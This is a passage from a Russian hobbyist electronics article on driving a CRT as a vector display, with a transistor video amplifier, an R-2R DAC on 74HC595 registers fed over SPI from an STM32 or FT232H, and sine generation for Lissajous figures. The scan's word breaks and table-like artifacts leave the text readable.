быстро дей ствие . Так, полоса пропус кания данного усилите ля будет око ло 10 кГц, и выше этой частоты усиление достаточ но быстро снижает ся .
И что с того, спросишь ты? А из этого следует , что количество семплов ЦАПа будет ограниче но полосой пропус кания, что, в свою очередь , будет ограничи вать размер изображения (количество точек), которое можно отри совать без мерцания . В данном случае количество точек будет порядка 500.
Аесли поднять частоту ЦАП, то изображение будет искажать ся.
Сдругой стороны , несколь ко сотен точек вполне достаточ но для отрисов ки цифербла та и стрелок , несложной геометричес кой картинки или тех же
фигур Лиссажу . Собствен но , в большинс тве конструк ций подобное изоб ражение и выводят. А что делать, если мы хотим большего , например вывести на экран достаточ но сложную картинку в пару десятков тысяч точек? Для это го придет ся поднимать быстро дей ствие , и самый простой способ это сде лать — поднять токи выходного каскада .
Кроме того, стоит иметь в виду, что коллектор ные резисторы вместе с емкостью отклоняющей системы и выходной емкостью транзисто ра обра зуют RC ФНЧ, частоту среза которого можно пример но прикинуть , взяв емкость, скажем , 15 пФ. На практике получается заметно хуже, чем в теории, ну да это как всегда . Для резисторов 220К получается значение 48,25 кГц, а для резисторов 3К уже 3,54 МГц — то, что надо.
Несколь ко усложним схему , использовав каскодное включение транзисто ров. Такое включение позволя ет сделать схему менее критич ной к парамет рам высоковоль тных транзисто ров. В целом каскод работает как идеали зиро ванный каскад с общим эмиттером . Нас, конечно , это не спасет , посколь ку мы все равно упремся в параметры трубки , зато позволит использовать дешевые высоковоль тные транзисто ры в верхнем плече , например
MJE13003, MJE13005. Однако лучше все таки 2SC2611 или КТ940А.
Кроме того, добавим источник тока в эмиттерные цепи — так и работает лучше , и настра ивать гораздо удобнее . А сверх того на вход поставим исто ковые повторите ли, чтобы не шунтировать ЦАП. В первом варианте схемы их не было, однако оказалось , что усилитель заметно шунтировал ЦАП и сильно просажи вал напряжение , потому повторите ли пришлось добавить.
Схема видеоуси лителя
Данный усилитель обеспечива ет полосу около 1,5 МГц при размахе сигнала на выходе каждого плеча 75 В и усилении около 15. При этом замена тран
зисторов на MJE13005 дает пример но такой же результат , и улучшить его малыми усилиями уже не получится . Настрой ка усилите ля сводит ся к подс тройке источников тока резисторами RV2 и RV5: нужно добиться на коллекто рах транзисто ров Q2, Q5, Q7, Q10 напряжения чуть выше половины питания (около 120 В), а также к подбору конденса торов частотной коррекции С3, С6,
С9, С12.
Стоит заметить, что раз мы собираем не осциллограф , а монитор, то
добиваться |
ровной |
АЧХ усилите |
ля — не оптималь |
ное |
решение. Поэтому под |
|||||||||||||||||||||||||||||||||||||||
бор конденса |
торов |
удобно вести , смотря на качество изображения |
, добива |
|||||||||||||||||||||||||||||||||||||||||
ясь минимальных |
артефак тов . Методика подбора |
конденса |
торов |
довольно |
||||||||||||||||||||||||||||||||||||||||
простая — начав с заведомо меньшей |
емкости, например |
1 нФ, необходимо |
||||||||||||||||||||||||||||||||||||||||||
последова |
тель |
но увеличи |
вать |
емкость в два раза, наблюдая |
изменения |
изоб |
||||||||||||||||||||||||||||||||||||||
ражения. Когда емкость |
|
окажет ся чрезмерной |
, начинай ее уменьшать |
|||||||||||||||||||||||||||||||||||||||||
на половину предыду |
щего |
шага, таким образом |
шагов за пять можно подоб |
|||||||||||||||||||||||||||||||||||||||||
рать нужное |
|
|
значение |
. |
|
Обрати внимание |
, |
что |
эмиттерные |
резисторы |
||||||||||||||||||||||||||||||||||
в каналах X и Y различны |
|
и конденса |
торы |
коррекции |
, |
соответс |
твен |
но , тоже. |
||||||||||||||||||||||||||||||||||||
Токи транзисто |
ров также можно настра ивать |
, ориенти |
руясь |
на изображение |
. |
|||||||||||||||||||||||||||||||||||||||
Конструк ция получилась |
достаточ |
но сложной (12 транзисто |
ров ), а еще она |
|||||||||||||||||||||||||||||||||||||||||
заметно греется |
, поэтому нужен хороший радиатор |
. Мой, конечно , дико |
||||||||||||||||||||||||||||||||||||||||||
избыточен |
, но он мне попался под руку и подходил |
по размерам |
. Резисторы |
|||||||||||||||||||||||||||||||||||||||||
в коллектор |
ной |
цепи также сильно греются |
, поэтому надо взять пятиваттные |
|||||||||||||||||||||||||||||||||||||||||
(не проволоч |
ные !). Хорошо, усилитель |
есть, теперь нужен источник сигнала |
. |
|
Внешний вид видеоуси лите ля
ЦАП
C точки зрения соотношения цена/быстро действие лучшее решение — R-2R ЦАП. Первоначаль но я планиро вал использовать Blue Pill как источник сиг нала, и в этом случае можно задейство вать целый порт сразу на 2 ЦАПа (каналы X и Y). Однако , ориенти руясь на данный проект , я решил применить сдвиговые регистры 74HC59. В плане быстро действия мы ничего не теряем , так как GPIO в stm32f103 работают с частотой около 2 МГц, и то при прямой записи в регистры , через обертки получается несколь ко медленнее . А вот шина SPI недурно работает на частоте 32 МГц, и итоге для двух 8-битных каналов получаем 2 мегасемпла в секунду , при этом ЦАП можно исполь зовать независимо с другими источниками сигнала . А кроме того, ЦАП на 74HC595 выдает сигнал до 5 В, что, учитывая низкую чувстви тельность трубки , нам только на руку.
Схема ЦАПа
Сначала , конечно , схемка была попроще , в ней присутс твовали только сдви говые регистры . Микрокон троллер писал в SPI два байта , а потом дергал ножку RCLK, и все было хорошо, все работало . Потом мне захотелось выводить массивы побольше , которые не помещались в память контрол лера, и тут было два варианта : приладить к контрол леру флешку или подклю чить к компу через USB/SPI. Я выбрал второй вариант , а в качестве USB/SPI использовал FT232H.
Это самый быстрый USB/SPI из мне известных , а кроме того, его можно приобрести в виде готового модуля за терпимые деньги (ну, некоторое время назад так и было). Однако у FT232H есть та же проблема , что и у контрол лера SPI: порт работает быстро , а GPIO медленно , причем гораздо медленнее , чем в контрол лере, поэтому дергать ножку регистра на каждые два байта неразумно . Пришлось малой кровью допилить недоSPI 74HC595 до «почти SPI». Идея достаточ но проста : надо считать тактовые импульсы и каждый 16-й дергать RCLK. Для этого собран делитель на 16 на четырех D-триггерах . А чтобы знать, откуда считать импульсы , по сигналу CS происхо дит установ ка триггеров , что срабаты вает как синхро низация.
Конеч но, делитель проще было собрать на 74HC4040, но это как нибудь в другой раз. Так или иначе , мы получили ЦАП, способ ный выдавать до 2 мегасемплов в секунду , причем его скоростью можно управлять, меняя скорость шины SPI. О резисторах можно сказать , что использовать резис торы одного номинала удобно : получаешь правиль ное соотношение соп ротивлений 1/2. В принципе , можно сэкономить и использовать резис торы 5К1 и 10К. Немного постра дает линейность , что на глаз почти незамет но, впрочем , экономия копеечная и того не стоит .
Внешний вид собранно го DAC
BLUE PILL И ФИГУРЫ ЛИССАЖУ
Аналого вая часть собрана , и ЦАП у нас есть. Время проверить , как оно работает . Самый простой тестовый сигнал для создания изображения — это два синуса с разными частотами или фазами. Проще всего такой сигнал взять с ГСС и подать на входы видеоуси лите ля , однако если ГСС под рукой нет, то сигнал можно сгенери ровать в микрокон трол лере букваль но несколь кими десятками строк.
Генери ровать синус в микрокон троллере можно тремя способа ми. Во первых , используя библиоте ку math.h и функцию sin(), однако это далеко не лучший вариант по быстро действию и расходова нию ресурсов . Работа с плавающей точкой — это не то, для чего предназна чены микрокон троллеры , впрочем , данный метод работает . Другой достаточ но интерес ный вариант генерации синуса — на основе разнос тных схем — упомина ется здесь. Уравнения там достаточ но простые , и с первого взгляда даже не ска жешь, что на выходе получается синус.
V -= X*R0
X += V0
Продолжение статьи0 →